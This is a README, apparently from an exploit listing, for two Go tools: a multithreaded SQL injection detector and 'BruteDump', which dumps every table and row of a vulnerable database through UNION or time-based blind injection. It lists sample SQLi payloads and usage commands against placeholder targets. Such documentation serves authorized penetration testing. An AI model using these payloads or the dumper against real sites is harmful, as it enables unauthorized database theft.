Exploit for SQLi

## https://sploitus.com/exploit?id=C1D8F64D-CC4E-5D86-A307-B46789BED835
# SQL Injection Detector

A multithreaded SQL injection detection tool written in Go that tests web applications for various types of SQL injection vulnerabilities.

## Features

- **Multithreaded Testing**: Concurrent payload execution for faster scanning
- **Configurable Payloads**: JSON-based payload configuration for easy customization
- **Multiple Injection Types**: Supports detection of:
  - Boolean-based blind SQLi
  - Time-based blind SQLi
  - Union-based SQLi
  - Error-based SQLi
  - Stacked queries
  - NoSQL injection
  - LDAP injection
  - XPath injection
- **Detailed Reporting**: Console output and JSON report generation
- **Baseline Comparison**: Establishes baseline responses for accurate detection

## Installation

1. Ensure you have Go installed (version 1.16 or later)
2. Install the required dependency:
   ```bash
   go mod init sqli-detector
   go get github.com/go-resty/resty/v2
   ```

## Usage

### Basic Usage

```bash
go run detector.go 
```

Example:
```bash
go run detector.go "http://localhost:8080/products?q=Laptop"
```

### Advanced Usage

```bash
go run detector.go  [config_file] [max_workers]
```

Examples:
```bash
# Use custom configuration file
go run detector.go "http://localhost:8080/products?q=Laptop" custom_config.json

# Use custom configuration and 10 workers
go run detector.go "http://localhost:8080/products?q=Laptop" custom_config.json 10

# Use default config with 15 workers
go run detector.go "http://localhost:8080/products?q=Laptop" sqli_config.json 15
```

## Configuration

The tool uses a JSON configuration file (`sqli_config.json` by default) that contains:

### Settings Section
- `sleep_seconds`: Duration for time-based injection tests (default: 5)
- `timeout_ms`: HTTP request timeout in nanoseconds (default: 10 seconds)
- `tolerance_ms`: Time tolerance for time-based tests in nanoseconds (default: 2 seconds)
- `user_agent`: User-Agent header for requests
- `max_workers`: Number of concurrent workers (default: 5)

### Payloads Section
Each payload contains:
- `name`: Unique identifier for the payload
- `payload`: The actual SQL injection payload
- `type`: Category of injection (boolean-based, time-based, etc.)
- `description`: Human-readable description
- `is_baseline`: Whether this payload serves as a baseline (only one should be true)

## Payload Types

### Boolean-based Blind SQLi
Tests for logic-based vulnerabilities by comparing response lengths and content.

Examples:
- `' OR 1=1 -- ` (always true)
- `' OR 1=2 -- ` (always false)

### Time-based Blind SQLi
Tests for time delays in responses to detect injection points.

Examples:
- `' AND SLEEP(5) -- ` (MySQL/MariaDB)
- `' AND pg_sleep(5) -- ` (PostgreSQL)
- `'; WAITFOR DELAY '00:00:05' -- ` (SQL Server)

### Union-based SQLi
Attempts to extract data using UNION statements.

Examples:
- `' UNION SELECT 1, 'InjectedName', 1.23 -- `
- `' UNION SELECT NULL, NULL, NULL -- `

### Error-based SQLi
Triggers database errors to extract information.

Examples:
- `' AND extractvalue(1, concat(0x7c, (SELECT VERSION()), 0x7c)) -- `

## Output

### Console Output
The tool provides real-time feedback showing:
- Configuration details
- Baseline establishment
- Worker progress
- Detailed results for each payload

### JSON Report
A detailed JSON report is saved as `{hostname}_sqli_report.json` containing:
- Complete configuration used
- Timestamp of the test
- Detailed results for each payload including:
  - HTTP status codes
  - Response times
  - Response lengths
  - Full request URLs
  - Vulnerability assessment

## Customizing Payloads

You can easily add new payloads by editing the JSON configuration file:

```json
{
  "name": "custom_payload",
  "payload": "' OR EXISTS(SELECT 1 FROM users) -- ",
  "type": "boolean-based",
  "description": "Custom boolean-based payload",
  "is_baseline": false
}
```

## Analysis Logic

### Time-based Detection
- Measures response time and compares against expected sleep duration
- Accounts for network latency using tolerance settings

### Boolean-based Detection
- Compares response lengths between true/false conditions
- Looks for significant changes in response size

### Union-based Detection
- Searches for injected data in responses
- Analyzes HTTP status codes for errors

### Error-based Detection
- Scans response content for database error messages
- Looks for version strings and database-specific keywords

## BruteDump — Full Database Dumper (`brutedump.go`)

A multithreaded SQLi-based database extraction tool that auto-detects backend (SQLite/MySQL), enumerates all tables and columns, and dumps all rows via UNION-based or time-based blind injection.

### Features

- **Auto-detection**: Detects SQLite, MySQL, PostgreSQL, MSSQL, and Oracle backends
- **Full enumeration**: Enumerates all tables, columns, and rows
- **Dual mode**: UNION-based (fast) and time-based blind (`--hint=time`) extraction
- **Worker pool**: Configurable concurrent workers for parallel extraction
- **WAF detection**: Identifies Cloudflare, Sucuri, Akamai and other WAFs
- **Reports**: Console summary, JSON dump, and HTML report with previews

### Usage

```bash
go run brutedump.go [options] 
```

### Options

| Flag | Default | Description |
|------|---------|-------------|
| `--workers` | 5 | Concurrent workers |
| `--max-rows` | 1000 | Max rows per table |
| `--sleep` | 5 | Sleep seconds for time-based payloads |
| `-X` | GET | HTTP method (GET, POST) |
| `--cookie` | "" | Cookie header value |
| `-H` | — | Custom header (`Name: Value`, repeatable) |
| `--proxy` | "" | Proxy URL (e.g. `http://127.0.0.1:8080`) |
| `--data-type` | "" | POST body content type (e.g. `application/json`) |
| `--timeout` | 10 | Request timeout in seconds |
| `--retries` | 2 | Max retries per request |
| `--delay` | 0 | Delay in ms between retries |
| `--hint` | "" | Technique hint: `union`, `error`, `time` |
| `-q` | false | Quiet mode |
| `-v` | false | Verbose mode |

### Examples

**Basic UNION-based dump:**
```bash
go run brutedump.go "http://localhost:8080/products?q="
```

**Time-based blind extraction (when UNION is blocked):**
```bash
go run brutedump.go --hint=time --sleep=5 "http://localhost:8080/products?q="
```

**POST request with custom headers:**
```bash
go run brutedump.go -X POST --data-type "application/json" -H "Authorization: Bearer token" "http://target.com/search"
```

**High-speed extraction with proxy:**
```bash
go run brutedump.go --workers=20 --retries=1 --proxy "http://127.0.0.1:8080" "http://target.com/products?q="
```

### Output

- `dump_{hostname}_{timestamp}.json` — Full JSON dump of all tables/rows
- `dump_{hostname}_{timestamp}.html` — HTML report with table previews

## Security Notes

⚠️ **Important**: This tool is designed for authorized security testing only. Always ensure you have explicit permission before testing any web application.

- Only test applications you own or have written authorization to test
- Be mindful of rate limiting and server load
- Review payloads before use to ensure they're appropriate for your testing scenario
- Consider the impact of time-based payloads on application performance

## Limitations

- Currently supports query parameter injection only
- Limited to GET requests
- May produce false positives in some scenarios
- Requires manual verification of results

## Extending the Tool

The modular design makes it easy to:
- Add new payload types
- Implement additional analysis methods
- Support different HTTP methods
- Add new output formats

## Dependencies

- `github.com/go-resty/resty/v2`: HTTP client library

## License

This tool is provided for educational and authorized security testing purposes only.